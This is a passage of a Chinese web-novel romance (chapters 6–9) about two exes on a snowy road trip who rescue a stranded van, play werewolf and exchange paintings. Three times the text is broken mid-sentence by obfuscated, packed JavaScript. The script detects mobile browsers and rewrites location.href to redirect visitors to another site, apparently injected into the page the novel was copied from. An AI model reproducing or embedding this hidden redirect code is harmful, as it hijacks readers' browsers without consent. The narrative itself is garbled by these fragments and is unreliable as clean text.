“晚上去酒吧,这家伙喝得烂醉,扯开上衣在街上狂奔,边跑边对手机大喊大叫,拦都拦不住。我还录了视频,万一以后和他掰了,方便敲诈勒索。” 许璋呵呵直笑,忽然发觉不对,古怪地问:“这是几月份的事?” “我想想……那会儿他放春假,三月份吧。” 许璋表情僵硬,笑容转移到邢远脸上。 “我记得他对手机骂人来着,骂的不会就是你吧,哈哈。” “他早就想骂我,借酒装疯罢了!”许璋愤愤道,“小偷怎么不偷他手机呢。” 邢远笑得大声,欣赏他气愤的表情。 这时,江木舜跑了过来,招手说:“阿远,快,过来帮个忙!有辆车翻沟里了。” 他看见邢远脸上的笑,眼中闪过惊讶。 江木舜带着他们过去,距离休息区几百米的地方,大雪盖住了路边的沟,一辆面包车陷在里面,几个人围在那里。 车主是一对朴素的夫妻,带着两个男孩,大的十来岁,小的看起来五.六岁。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019058|162174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 男车主穿着厚厚的夹克,给江木舜递了根烟。 男人操着方言说:“俺们要去武汉送货,开了一晚上,没想到路边有个坑,咣当一头就栽进去了,幸好老婆和娃都没事。这怎么好好的会有个坑呢,真是害人呐。” “昨天有警示牌的,估计被雪埋了。”江木舜说,“下雪天开慢点,你带着孩子呢,尽量别走夜路。” “没办法,老板急着要货。” 大家下去绑绳子,准备把车吊上来。 男人连声道:“谢谢你们,太感谢了,得亏遇到好心人,不然都不知道怎么办。” 邢远跳进沟里,让许璋留在上面,帮忙观察角度。 许璋望向那两个孩子,小的蹲在路边解手,女人弯腰帮他擦屁股,大的满脸警惕,身上穿了件薄棉袄,脸上和手上都是冻疮。 许璋对他招手:“过来。” 男孩小心翼翼看着他,不安地蹭过来,许璋从兜里掏出士力架,是从唐思瑞的零食包里抢的。 “给你,拿着。” 许璋伸出手,男孩半天没接,扭过头去看女人,眼见妈妈没空,这才羞涩地接住。 “你怎么穿这么少,冷不冷?”许璋轻声问。 男孩没理他,转身跑到女人身边。女人抱着小的,嫌他烦,让他滚旁边去。 过了一会儿,车终于吊上来了,悲催的是,四个轮子爆了俩,备用车胎只有一个,江木舜又跑着回去拿另一个。 男人热情地跟他们闲聊,问道:“你们去川西,年前赶得回家不?” “如果不下雪的话,应该可以。”邢远说。 “帅哥是哪里人?” 邢远:“苏州人。” “苏州是哪儿来着,浙江的吗?” “不是,江苏的。” 旁边两个男孩打了起来,大的想抢小的嘴里的士力架,小的用指甲抠他脸,哇哇大哭,哭得脸红脖子粗,好像快背过气去,大的死死抓着包装袋,不肯放手。 男人顿时垮下脸,似乎觉得很丢人。 “这俩小畜生,天天打架!” 他走过去呵斥:“都别打了!你就不知道让让弟弟吗,把糖给他!回头再给你买一个。” 许璋用脚碾了碾雪,冷漠评价道:“子女不和,老人无德。” 邢远说:“你怎么好像很有经验似的,在外边有私生子?” 许璋没想到,他这样的人居然会开玩笑,诧异地瞥了他一眼。 “呸,我都弯成蚊香了。”他说,“我也有个弟弟,比那小的还烦人,每次他抢我东西,我爸就这么拉偏架。” 小的蛮不讲理,仗弱欺人,和宋焕小时候一模一样。 邢远沉默不语,没一会儿,士力架回到了小的手里,大的红着眼睛一声不吭。 “你在家也像他这样吗?”邢远问。 “当然不。”许璋露出遗憾的笑,“我一般呢,会把糖喂进弟弟嘴里,摸摸他的小脸,等待我弟原地爆发,恶心地把糖吐出来,然后被我爸暴揍一顿。” 他得意道:“对付这种人,就得耍阴招,我弟又蠢又笨,次次都上当,当当不一样。” 邢远愣了几秒,发出低沉的笑声。 他连连摇头:“太可怕了,原来杭樾以前过的是这种日子,我都有点同情他了。” “你会不会说话啊。”许璋瞪他。 江木舜提着车胎过来,为了节省时间,他和邢远一人换一个。 许璋在旁边递工具,指挥他:“要用对力才能卸下来,你是不是不怎么开车,只会换摩托的车胎啊。” 邢远干脆说:“你来,说的好像你会一样。” “我当然会,老熟手了。” 许璋蹲下身,稍稍用劲一托,车胎就掉了下来。 邢远看向他身后。 许璋浑然不觉,吭哧吭哧拧螺丝。 “这不很简单吗,我爸的胎都是我换的。”他轻松道,“扳手拿来。” 等了几秒,邢远没动静,冰冷的扳手递到他手上。 杭樾的声音在头顶响起,似笑非笑:“哦?这么厉害呢,老熟手。” 7. 第 7 章 咣当。 扳手掉在地上。 许璋僵在原地,越缩越小,仿佛想打个洞钻进去。 杭樾捡起扳手,放回他手里:“你继续,不打扰你换胎。” “老熟手。”他轻声笑道。 这三个字十分刺耳,许璋盯着脚底下的雪,想象将它们团成球,堵住杭樾的嘴。 车主大声询问:“小帅哥,你能行吗,不行的话我来?” 许璋的耳朵迅速变红,怒道:“我行!” 他硬着头皮换胎,竭力当做无事发生。 换完回去,许璋特地走到江木舜旁边,跟杭樾隔了一段距离。 饭店老板做好了早餐,十几碗馄饨热气腾腾,码成一排。 大家一拥而上吃饭。 馄饨放了猪油、虾米和葱花,滚烫的骨汤往里一浇,满屋鲜香四溢。牛肉煎包香脆多汁,肉汁浸透面皮,教人食欲大增。 许璋嘴里塞得鼓鼓囊囊,江木舜给他倒醋,他含糊地说了声谢谢。 杭樾看了看他,不知哪根筋搭错:“你倒是知道说谢谢,昨晚我把你带回来,怎么没跟我说谢谢?” 在众人面前,他很少主动和许璋攀谈。 唐思瑞当即竖起耳朵,给周皓抛去一个眼神,周皓无奈地笑笑,暗示他别太八卦。 许璋吃得浑身暖和,脑子也被热气熏得慢半拍。 他没有防备地回答:“你不是不准我谢吗。” 话音刚落,两人都是一愣。 许璋把馄饨吞下去,噎得梗了下脖子,看似若无其事,扭头去问唐思瑞论文写的怎么样。 杭樾低下头吃饭,默契地没有吭声,只是吃着吃着,把嘴给烫到了。 他们心照不宣,都在回避着什么。 刚在一起那会儿,许璋还是个挺有礼貌的小孩,接受他的礼物会说谢谢,在床上不小心给了他一脚会说对不起。 直到有一次,杭樾看见他收生日礼物,也和对方说谢谢,瞬间就黑了脸。 第二天,他给许璋买了双限量版球鞋,是他蹲了很久没蹲到的。 许璋很开心,眼睛亮亮地说谢谢,然后被按住后颈,咬了口鼻尖。 “不准说这两个字。”杭樾不高兴道,“再说还咬你。” 许璋脸上留下了牙印,虽然不疼,但没法见人了。 他皱着鼻子骂人:“啊啊啊,你是狗吧!我客气一下,你怎么这样啊。” “不准跟我客套,我可不是李子旭,也不是王潮。”杭樾郁闷地说。 李子旭是送他礼物的朋友,王潮是同画室的朋友。 “噢。”许璋拖长音调,眯着眼打量他,“原来是因为这个,你又吃醋,醋坛子。” 杭樾想反驳,话到嘴边又停住。 这不是吃醋。 他只是觉得,他应该是特别的,不然谈恋爱有什么意思,又不是在玩过家家。 许璋笑了起来,眼神明媚:“那我不跟你客套了,你不是李子旭,也不是王潮,你是杭樾呀。” 杭樾将滚烫的煎包咽下去,觉得酱汁有点发甜。 没一会儿,外面又飘起小雪,天空灰雾雾的,宛如一条半透明的薄纱,野外树枝荒芜,麻雀在地上啄来啄去。 冰天雪地,万物凋零,一夜之间,院子里的腊梅开了。 有人在外面堆雪人,有人组了牌局,问许璋来不来,许璋摇摇头,走出去打电话。 他一上午没看手机,消息已经爆了。 许明楼打了三个电话,乌鸦哥打了一个,宋焕被他提前拉黑了,暂时没有动静。 他给助理拨过去,对面把昨晚的经过讲了一遍。 助理找了九个男模,第十个没找到,便让同事滥竽充数混进去,刚进包间就被宋焕泼了一身酒,他恐同属性大爆发,气急败坏地让人滚出去。 男模们将他围住,咔咔一顿拍照,上下其手,很快被踹着屁股赶出包间,其中还有个二十八线小明星,借势造了个话题炒作。 当天晚上,许明楼得到消息,把宋焕叫回去,大骂了两个小时。 助理担忧道:“许总,这种计俩太拙劣了,怕是会弄巧成拙,我觉得……许先生可能一眼就看出,是有人故意安排的。” “要的就是这种效果。”许璋站在腊梅树下,用指尖拨了拨花瓣。 他慢悠悠地说:“我爸知道宋焕不是gay,把他叫回去一问,这小子肯定往我身上泼脏水,那样就能顺藤摸瓜,引出他对画室做的事。” “我爸迫不及待让我转让画室,就是怕我出尔反尔,要是知道他在背后搞这一出,当然不会让他有好果子吃。” 助理醒悟过来:“好一招借刀杀人,以退为进,许总,你太邪恶……呸,太有智慧了。” “过奖过奖,这几天宋焕要是骚扰你,你就直接去找我爸,告诉他我手机坏了,暂时回不了消息。” “好的,我明白。” 助理停顿了一下:“……画室那边,还要继续找买家吗?” 许璋描摹花瓣的形状,在脑内完成了一幅勾勒,松手撤离之时,花骨朵从枝头滚落,掉在雪地里。 助理疑惑:“许总?” 过了一会儿,许璋说:“继续找,尽快。” 他在外面冻得够呛,挂断后小跑着回屋,屋里烧着炉子,一堆年轻人围在一起烤火。 许璋刚进来,张佳慧放下扑克牌说:“终于回来了,小许,我们要玩狼人杀,差一个人,你来不来?” 长条桌坐着五个人,还有个研究烤红薯的杭樾。 “我不太会哎。”许璋说。 “没事,我也是新手。”江木舜说,“让他们教我们就行。” 张佳慧道:“包教包会的,来嘛来嘛,正好无聊,给你留了位置,你坐那里。” 她用手一指,指向杭樾旁边唯一的空位。 杭樾将红薯埋好,毫不在意地坐着。 大家都眼巴巴的,许璋只得移动过去,被迫坐在他旁边。 张佳慧问:“要怎么玩?玩暗牌吗?” 唐思瑞说:“不要带警长,他俩没玩过,先简单点打个样。” 张佳慧开始科普规则。 许璋一边听,一边揉搓双手,刚才在外面玩花玩的,手指都冻红了。 杭樾打开炉子,挑出个半生不熟的红薯,裹了几层纸抛给他暖手。 “打了这么久电话?”他问。 “你怎么知道?”许璋小声回应。 因为张佳慧在讲话,他们声音都压得很低。 “什么电话,还需要背着人打。”杭樾哂笑。 许璋握着半软的红薯,瞥向他:“你好像很好奇的样子。” “你不也好奇么。”杭樾说,“不仅装模作样让我换胎,还跟别人到处打听我。” 许璋瞪大眼睛:“邢远跟你说的?” 物以类聚!杭樾的朋友果然不是善茬! 他怒瞪坐在对面的邢远,邢远莫名其妙,对着他挑了下眉。 杭樾安静了几秒,低声笑道:“哦,我懂了,你向他打听过我。唔,他什么都没说。” “……” 谁来管管这个人。 许璋整张脸都烧了起来,头逐渐埋下去。 杭樾不知死活地说:“你问他什么了?其实可以来问本人的,我又不是那种遮遮掩掩的人,嗯哼。” 最后一声,笑得演都不演了。 许璋咬牙,故意道:“我问他,你为什么希望我死。” 杭樾皱眉:“我什么时候希望你死了?” 许璋翻出手机,在桌子底下给他看:“你自己发的动态,别不承认。” 【合格的前任,应该像死了一样/微笑/】 杭樾有点无语:“你搁这儿跟我咬文嚼字来了?” “反正是你发的。”许璋哼道,“你就是希望我死。” 他别过头去,过了片刻,另一部手机推过来,碰到他的手肘。 屏幕上是杭樾的朋友圈。 “删了。”杭樾淡淡道。 许璋怔忪半天,“哦”了一声。 杭樾拿走手机,侧脸冷漠,抿着嘴不理他。 空气安静下来,只有张佳慧的讲解声。 许璋忽然说:“我身上香吧?” “什么?”杭樾迟疑地看过来。 “刚才我给助理打电话,在腊梅树下站了半天呢,我也不想打那么久的,冷死了。” 杭樾沉默,嘴角微微扬起,闻了闻空气道:“是挺香。” “香香的兔子。”他低声说。 “什么?”许璋没听清。 张佳慧看不下去了:“喂,那边两个,不要窃窃私语了,规则听清楚了吗?” 许璋有种回到高中,在课堂上牵手被抓包的感觉,心虚地答道:“听清楚了,慧姐。” 杭樾没忍住,笑得肩膀颤抖。 “杭樾别笑了。”张佳慧说,“定个惩罚吧,不然没意思,真心话大冒险二选一?” “行啊,我提前选大冒险吧。”杭樾漫不经心,“输的全去外面做俯卧撑。” 江木舜说:“哎哟呦,装起来了,兄弟们,加油,让他自己做俯卧撑去。” “必须让他做!” 许璋看向他:“你太会拉仇恨了,千万别和我一个阵营。” 杭樾不客气地说:“你输了你也得做。” 唐思瑞看热闹不闲事大:“天哪许哥,这能忍?和我们一起打趴他吧。” “你还叫唤上了。”杭樾冷笑。 “安静,大家都安静,不要吵架。”张佳慧化身幼师,连忙控制场面,“现在先试玩一局,边玩边熟悉规则。” 大家尝试了一局,第二局正式开始,各自在手机上收到了身份。 张佳慧说:“天黑请闭眼。” 七人局共有两个狼人,及平民、女巫、预言家、猎人和守卫。 许璋手气极差,抽到了狼人,闭着眼睛默默祈祷,队友不要是杭樾不要是杭樾…… “狼人请睁眼,确认你的队友。” 许璋睁开眼睛,扫视一周,成功对上不想见到的人。 杭樾看见他绝望的表情,忍不住翘起嘴角。 许璋暗自哀嚎,他唯一一次玩狼人杀,就是和杭樾一起,当时输得一败涂地,被全班哄笑。 他们的不合拍,表现在方方面面,比如,打篮球传错人,打游戏杀队友,狼人杀互卖,罄竹难书…… 杭樾喜欢激进,许璋喜欢迂回,每次玩都能吵起来,然后不信邪,下次继续一起。 许璋心里着急,在桌子下给了他一脚,示意他把笑容收起来。 他不敢闹出动静,这一脚踢得很轻,鞋尖勾住杭樾的小腿,轻轻地踹过去。 踹之前,没发现有多暧昧。 踹完后,尬住了。 杭樾脸色瞬变,目不转睛地盯着他,许璋尴尬得要命,做口型解释道:“不——要——笑!” 杭樾喉结动了动,又笑了一下:“好——” 许璋:“……” 张佳慧:“咳咳,请选择你们要刀的人。” 杭樾指向江木舜,许璋摇头,转而指周皓,杭樾点头同意。 “好的知道了,狼人请闭眼,预言家请睁眼。” “预言家请验一个人的身份。” “好人是这个,坏人是这个……” 屋里的温度逐渐攀升,许璋闭着眼睛,感到有点热,脱外套的时候,不小心碰到了旁边人的腿。 杭樾身体一僵,没有躲开。 许璋本来没在意,直到脱完衣服,才发现自己贴了上去。 紧挨的腿肌肉紧实,隔着裤子面料,和他的膝盖贴在一起。 耳边传来呼吸声,杭樾平静到没有任何反应。 许璋顿时心虚,有种在骚扰前任的错觉,赶紧默默将腿收回来。 不是,他怎么不躲啊? 张佳慧说:“天亮了,今晚死的是周皓,你说一下遗言吧。” 周皓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019059|162174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摊手:“完蛋,我身份还挺重要的,刀的真准,我没什么遗言,只能说你们加油吧。” “现在从江木舜开始发言。”张佳慧说。 江木舜喝了口奶茶:“我有点怀疑杭樾。” 杭樾:“?” “他看上去好像不太稳重,眼神乱飘,耳朵发红,还嘚瑟地用鼻孔看我,不知道在暗爽些什么,只有杀了人才会这么爽吧。” ……众人静默。 杭樾鼓掌:“好牛的分析,简直当代福尔摩斯,全世界就你长了张嘴。” 江福尔摩斯继续发言,开启乱踩模式:“我也怀疑唐思瑞,刚才我闭眼的时候,听见他笑出声了。” 唐思瑞暴起:“一派胡言!我根本没笑,是远哥笑的吧!大哥,你别瞎猜了,哪有上来这么踩人的,要不是知道你是小白,我都要骂人了。” 邢远笑道:“这是纯污蔑,我也没笑。” “我觉得阿远和李念都不像好人,怎么办,你们一个个贼眉鼠眼的,我不知道该相信谁。”江木舜烦恼。 李念说:“合着就小许是好人呗。” 张佳慧:“好吧,别乱踩了,现在开始第一轮发言。” 唐思瑞第一个:“我昨晚验了江哥,他是金水,可惜是个搅屎棍,其他没什么要说的。” 从大家的发言中,许璋大致猜到了身份。 李念应该是那个预言家,她验了唐思瑞,唐思瑞在跳身份保她。 整场下来,就属杭樾的发言最不好。 他说了句“没什么线索,跟投”,然后看着眼前的桌子发呆,仿佛在回味什么事情。 李念说:“我目前最怀疑杭樾,他有点心不在焉,整个过程都在划水。我比较信任小唐,我跟他投。” 许璋恨铁不成钢,于是选择大义灭亲。 轮到他发言时,同样跳了个预言家身份。 他点了点杭樾面前的桌子,说:“把这人票出去,铁狼一个,信我就跟我投。” 他手里握着红薯,指尖被烫得泛红,指甲盖透着粉色,像雪地里绽放的红梅。 杭樾的视线跟随他的手移动,居然又走神了。 许璋余光瞥见,赶紧踩他的脚。 杭樾脸色一沉:“你少扯淡,你不就装好人保李念吗,我还是预言家呢,我昨晚也验了人,我验了唐思瑞,他才是狼。” 其他人笑了起来,被他们的争吵套进去,纷纷认定杭樾是狼。 两人难得配合好一次,打了个倒钩。 “你就是狼,还装。”许璋嗤道。 杭樾扬眉:“我怎么装了。” 他抬起鞋底,学着许璋刚才的做法,勾住他的小腿。 动作充满惩罚意味,似乎是在警告他,抛弃队友是要付出代价的。 许璋缩了回去,不动声色道:“投票吧,投杭樾的举手。” 全票通过,杭樾出局。 张佳慧:“杭樾说遗言。” 他放松地靠在椅背上,抱着手臂道:“不管我什么身份,许璋绝对不是预言家,你们别被他那张无辜的脸骗了。” 江木舜说:“狗屁,你这么踩他,他肯定是好人,我现在谁都不信,就跟着小许走。” 这么一来,坐实了许璋的好人身份。 许璋没有趁势追击,也没有拉帮结派,而是说:“我害怕今晚被刀,女巫可以救我一下吗?” 屋里太热,他的脸颊红扑扑的,像桌上的冰糖心苹果。 女巫大概我见犹怜,当即失去了原则。 接下来,许璋整场骚操作。 先是骗取女巫的药,成功离间李念和唐思瑞,让他们互相咬,然后跳了个守卫的身份,把江木舜变成了死忠粉。 杭樾看着他表演,脸上挂着若有若无的笑。 许璋靠着真诚发言,把三人玩得团团转,最后宣布狼人赢了,江木舜都没反应过来。 唐思瑞啪地拍桌:“我刚才就怀疑他来着,节奏带的飞起,果然不是好人,你还说你不会玩!” “所以谁是守卫,怎么不跟他对跳?”邢远问。 周皓举起手:“……我,第一轮就被他刀了,我拿灵魂对跳吗。” “运气好,运气好而已。”许璋谦虚,“我跳守卫的时候,心里特别没底。” 江木舜看向邢远,指责道:“女巫,你不也被他骗了,你怎么就把解药用了呢。” 邢远笑笑,没有说话。 张佳慧说:“那么选惩罚吧,你俩想怎么惩罚他们?” “真心话行吗。”唐思瑞求饶,“哥哥们,我可以说一百句真心话,有问必答的那种,你问我初恋是几岁都行,你快问啊快问啊。” 杭樾无情道:“你的真心话一文不值,哥哥们根本不想听。” 许璋露出邪恶摇粒绒微笑:“小唐弟弟,哥哥宠你,俯卧撑九十九个,其他人一百个,去吧。” 大家哀鸿遍野,纷纷骂他们不是人,李念是女生,被免除了九十九个。 几人在雪地里并排,由张佳慧计数,外面的人都过来围观。 许璋弯腰看唐思瑞:“弟弟,怎么哭了呀?” 唐思瑞喘气道:“你给我等着!你完啦!我再也不跟你分享零食了!” 许璋拿手机拍他,幸灾乐祸地大笑。 杭樾走到他身后,许璋穿的是低腰牛仔裤,修身面料包裹着臀和腿,伴随蹲下去的动作,露出细窄的腰线,惹人遐想。 杭樾看了一眼,忽然喉咙发紧。 他向前迈了半步,小腿碰到许璋的后腰,沉声说:“注意点形象,屁股撅这么高,像什么样子。” 许璋回头,眯着眼睛:“你看我屁股干嘛?” 杭越乐了:“你屁股看不得?” “当然,我屁股金枝玉叶。” “操,要点脸吧。”杭樾笑骂。 他提住许璋的后衣领,将他上半身拎了起来,许璋眨巴着眼看过来。 杭樾哑声道:“既然金枝玉叶,那就别给别人看了。” 8. 第 8 章 你倒是爱操心别人的屁股,许璋暗自腹诽。 被拎起来后,没再蹲回去。 杭樾得罪了众人,险些被江木舜抓住,按进雪里暴揍。 他挣脱束缚进了屋,从火堆里扒拉出红薯,烤红薯熟透了,皮烤得焦脆,爆裂出细小的口子,露出金灿灿的肉,满屋飘着甜香。 许璋咽了下口水,杭樾把红薯推给他说:“吃。” 许璋拿指头戳了戳皮:“烫。” “那就放凉再吃。” “凉了就不好吃了。” 杭樾嘲道:“几个意思?想让我帮你剥?” 许璋不说话,眼睛直勾勾盯着红薯。 “我没有伺候别人的爱好。”杭樾说,“自己动手。” 许璋还是没吭声,杭樾看着他:“说话。” 许璋小声:“我怕烫。” 杭樾“啧”了一声,转身给他找了个勺子,叮地扔在桌上。 许璋在红薯上挖了个洞,本本分分地进食。 红薯肉被舌尖一卷,消失在嘴唇之间,他的唇瓣被烫得发红,甜香愈发浓烈,让人头晕目眩。 杭樾移开视线:“这不是能自己吃吗,撒什么娇。” 他表面不动声色,但许璋对此男过于熟悉,明白他这是纯呛声,讽刺自己“妄图让前任剥皮”的荒唐行为。 他放下勺子,刚要说话,唐思瑞举着个东西跑了进来。 “小许小许,快看,我堆的雪人!” 他手上有迷你雪人,巴掌大小,黑豆眼睛,小丑鼻子,胡萝卜做的手,还有一顶纸折的帽子。 “可爱吧!我打算放冰箱里,等皓哥拿冰淇淋的时候,吓他一跳。”唐思瑞得意道。 许璋听见他的话,忽然笑了起来。 唐思瑞疑惑:“你笑什么?” 他笑着瞥了眼杭樾,杭樾已经失去了咄咄逼人,黑着脸转过头,装作什么都没听见。 “我想起以前一个朋友,哈哈哈。”许璋提高音量,“他惹我生气后,也做了个小雪人,还命名为‘道歉信使’,藏在课桌里,结果热气一熏,全化了,把我的书都弄湿了。” 他揪了揪雪人的帽子:“你说,怎么会有这种笨蛋呀。” 杭樾听不下去了,果断推门出去。 唐思瑞难得聪明一回,问道:“小许,你那个‘朋友’,是不是樾哥?你们以前这么纯爱啊,你……你不是说只是炮.友吗,我以为这种事,只有电视剧女主会做呢。” “你不也做了。”许璋似笑非笑,“你要表白吗?” “胡、胡说八道!” 唐思瑞瞪他,将雪人藏进冰柜里。 杭樾走进车棚,邢远正叼着电子烟,检查许璋的宝马。 “干嘛呢?”他走了过去。 邢远递来一支烟,杭樾许久不抽,咬开爆珠后,薄荷的味道随风飘开。 “看看他的车。”邢远说,“果然是个新手,选这种车就算了,第一次开还敢来318。老江说,你知道他要走这条线,怎么没提醒一下。” 杭樾倚靠车门,古怪地看他:“你觉得我和他,是能闲聊的关系?” “哈哈,今天之前大概不是。”邢远像是想起有趣的事,“现在呢,这次见面之后,有没有冰释前嫌,变回朋友?” 杭樾吐出一口烟雾,摇头道:“从来不是朋友。” “那就是没放下。” “顶多高中同学。” 邢远若有所思:“你这话说的。” 杭樾不耐烦道:“别说这些废话,你是不是跟他蛐蛐我了,说什么了?” “放心,没说你三岁尿床的事儿。” “……操,信不信我揍死你。” “来啊,你敢碰我一下,我把你裸.奔的视频发给他。” 杭樾弹了下烟灰:“你他吗的!果然跟他说这个了,邢远你活腻了是不是!我当初就该把你手机丢河里。” 他眉头一松,问:“这是他主动打听的?” 邢远笑了起来:“你又不打算复合,问这个问题有什么意义。” 杭樾没有回答,表情有几分琢磨不透。 在两人头顶,一墙之隔的旅店二楼,许璋正坐在窗口画画。 从他的视角望过去,刚好能看见院子里的腊梅,以及在打雪仗的众人。 周皓往唐思瑞帽子里丢了个雪球,被他扑倒在雪地里,周皓笑着将他从身上掀下去,用雪糊在他满脸,唐思瑞气急败坏地大喊大叫。 张佳慧双腿劈叉,以一种奇特的姿势,给李念拍照。江木舜教老板的女儿玩摔炮,摔了几次没摔响,把小女孩整哭了。 院子里吵吵闹闹,许璋就着嘈杂的声音,一笔一划地画梅花。 刚刚勾完线,门口传来敲门声。 门没关,他转过头,看见邢远拿着盘子。 “啊,不好意思。”许璋赶紧说,“忘记跟你打招呼了,借用一下你们的房间,这里视角比较好。” “没事,你画吧。”邢远放下盘子,“记得吃。” 许璋摇摇尾巴,馋道:“老板又做好吃的了?” 盘子里是剥好的红薯,他诧异地望向邢远。 “你剥的?” “炉子里还有几个。”邢远平静地说,“杭樾说你喜欢吃。” “喔,谢谢。”许璋有点局促。 他虽然爱使唤人,但使唤的对象很明确,仅限于与他过分亲密或结过仇的人。比如杭樾,看不顺眼就使唤一下。 面对普通朋友,还是维持着礼貌和端庄。 许璋说:“我吃过了,要不你自己吃吧,老板说这个红薯是他种的,比外面卖的都甜。” 邢远沉默片刻,端起盘子:“那我倒了。” 许璋忙道:“别啊,别浪费粮食。” 他只好说:“你放下吧,我待会儿吃,有劳你了。” 邢远走后,他给唐思瑞发消息:[阿远真热心,你们队的氛围比我大学宿舍还好/羡慕/] 许璋从白天画到晚上,从天光画到雪停,期间服务员上来了一次,给他送午饭,其余时间,他一直在涂涂抹抹。 直到夜幕降临,楼下的欢声笑语渐弱,大家都回到室内。 咚咚咚,门框被敲响。 许璋瞭起眼皮,看了一眼,又垂眸继续画。 杭樾抱着手臂看他:“你还没完没了了,别画了,下楼吃饭。” 房间的灯光偏黄,小画家坐在画架前,满脸认真专注,睫毛覆盖眼眸,在眼睑处投下浅淡的阴影,这显得他的目光有几分温柔。 他的手指骨骼细长,手背上沾着颜料,袖口上有,下巴上也有,像只邋遢的小花猫。 他总是把自己弄得脏兮兮的,画却很干净。 杭樾回忆起某个黄昏,他和朋友从篮球馆回来,途径画室门口,看见里面正在画画的艺术生。 许璋叼了一袋奶,戴着头戴式耳机,摇头晃脑,在画一副比他还高的画。 惊鸿一瞥,杭樾没有回头,径直擦肩而过。 那天晚上,他做了个难以启齿的梦。 梦见他把死对头按在画上,质问他为什么用颜料泼自己,许璋眼睛通红,跟只兔子似的瞪他,瞪着瞪着,杭樾突然二话不说亲了上去。 他在那幅画上蹂.躏许璋,揉捏他软得像牛奶冻的脸,按压他鲜红湿润的唇,然后…… 然后杭樾被吓醒了。 醒来发现睡裤湿了。 天塌了。 许璋对他的想法一无所知,兀自给画签上落款:小章鱼zzz。 杭樾看向茶几上的红薯,天再次塌了。 “谁给你剥的?”他闷闷地问。 许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019060|162174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璋面露疑惑,顺着他的视线,发现罪魁祸首,是那只啃了三分之一的红薯。 十指不沾阳春水的娇气鬼,当然不可能亲自剥。 他故意哼哼:“你不愿意剥,有的是人剥。” 杭樾本只是随口一问,闻言顿时气笑了:“吃着碗里看着锅里,胃口真不小,当心消化不良。” “要你管,我第一大胃王,想吃谁的就吃谁的。”许璋道。 杭樾从兜里掏出叠好的纸,搓成一团砸向他脑袋,仿佛蓄意报复。 “靠!你怎么说不过就偷袭。”许璋捂住脑门。 “又没砸到,演什么演。” “这是什么啊?” “明天出发前再看。”杭樾冷漠地说,“雪停了,别再蹭我吃住了。” 许璋展开纸团,发现是一张手绘的路况图。 开车虽然有导航,但有些路段仅仅靠导航是不够的,纸上的字迹出自杭樾手笔,应该是他下午画的,仔细标注了需要注意和拥堵成灾的区域。 “后面的路堵车很严重,车上多备点物资。”他说。 许璋收下路况图,说:“雪居然这么快就停了,我还以为会下好几天。” “再不停的话,你永远看不到雪山。” “吃住一共多少钱?”许璋偏头问他。 “怎么,铁公鸡要给我钱?” 以前在一起的时候,基本都是杭樾花钱,许璋还真不是铁公鸡,请朋友吃饭都很大方。杭樾在这方面有点大男子主义,他一要付钱就不高兴。 “我没钱啊。”许璋开始耍赖,“你知道的,我从小有个弟弟,家里只给他零花钱,管我管的很严,我连饭卡都是蹭前男友的。” “呵,继续编。” “真没钱,怎么办。” “那就写欠条吧。” 许璋问:“欠你多少?” 杭樾盯他一会儿,眼睛黑沉沉的,似乎在审视他。 过了几秒说:“算了,这么点钱,我懒得要。” 许璋点头道:“你的钱可以不给,他们的总不能欠着。” 他将面前的画转过来:“这幅画,就当饭钱好了。你要是想折现的话也行,我的画还是有点小市场的,我照市价再给你。” 他画了七个多小时,画布上是落满白雪的院子,一株遒劲的腊梅屹立院中,屋檐下挂着红色灯笼,外面停着一排摩托车。 画中的人在打雪仗,每一个都栩栩如生,面孔与现实相差无几,大家嬉戏打闹,仿佛能听见欢声笑语。 杭樾的眼神变暗,好半天才说:“你画了一天,就是在准备这个礼物。” 许璋笑眯眯道:“还算拿得出手吧?虽然只相处了两天,但你的朋友们人都很好,就当答谢礼了。” 杭樾温声说:“非常拿得出手,我替他们谢谢你,只不过,你是不是忘记加上谁了?” 画上有摩旅队的人,有张佳慧和李念,还有饭店老板一家,唯独没有他杭樾。 “你又没去打雪仗。”许璋大言不惭。 杭樾眯眼:“你是单纯不想画我吧。” “确实。” “确实?” 眼看这人要炸,许璋拿出另一幅,笑着转向他:“哎呀,有人要生气了,好吓人。” 第二幅画,是一望无际的公路,山影崇崇,云容冱雪,一个帅气的身影戴着头盔,靠在摩托车上俯视眼前的路。 人物没有露出全脸,从头盔镜面里透出一双眼睛,眉骨立体,鼻梁高耸,眼神冷酷且嚣张。 搞怪的耳朵和尾巴被涂掉了,全画进行了涂改细化,下面写着落款:许璋。 这是他那天爆胎的时候画的。 “小气鬼,单独给你画了一幅,我的画很贵的,不许再说我铁公鸡了哦。” 许璋对着他那斤斤计较的前任,吐了吐舌头。 9. 第 9 章 杭樾盯着那幅画,一时间说不出话来。 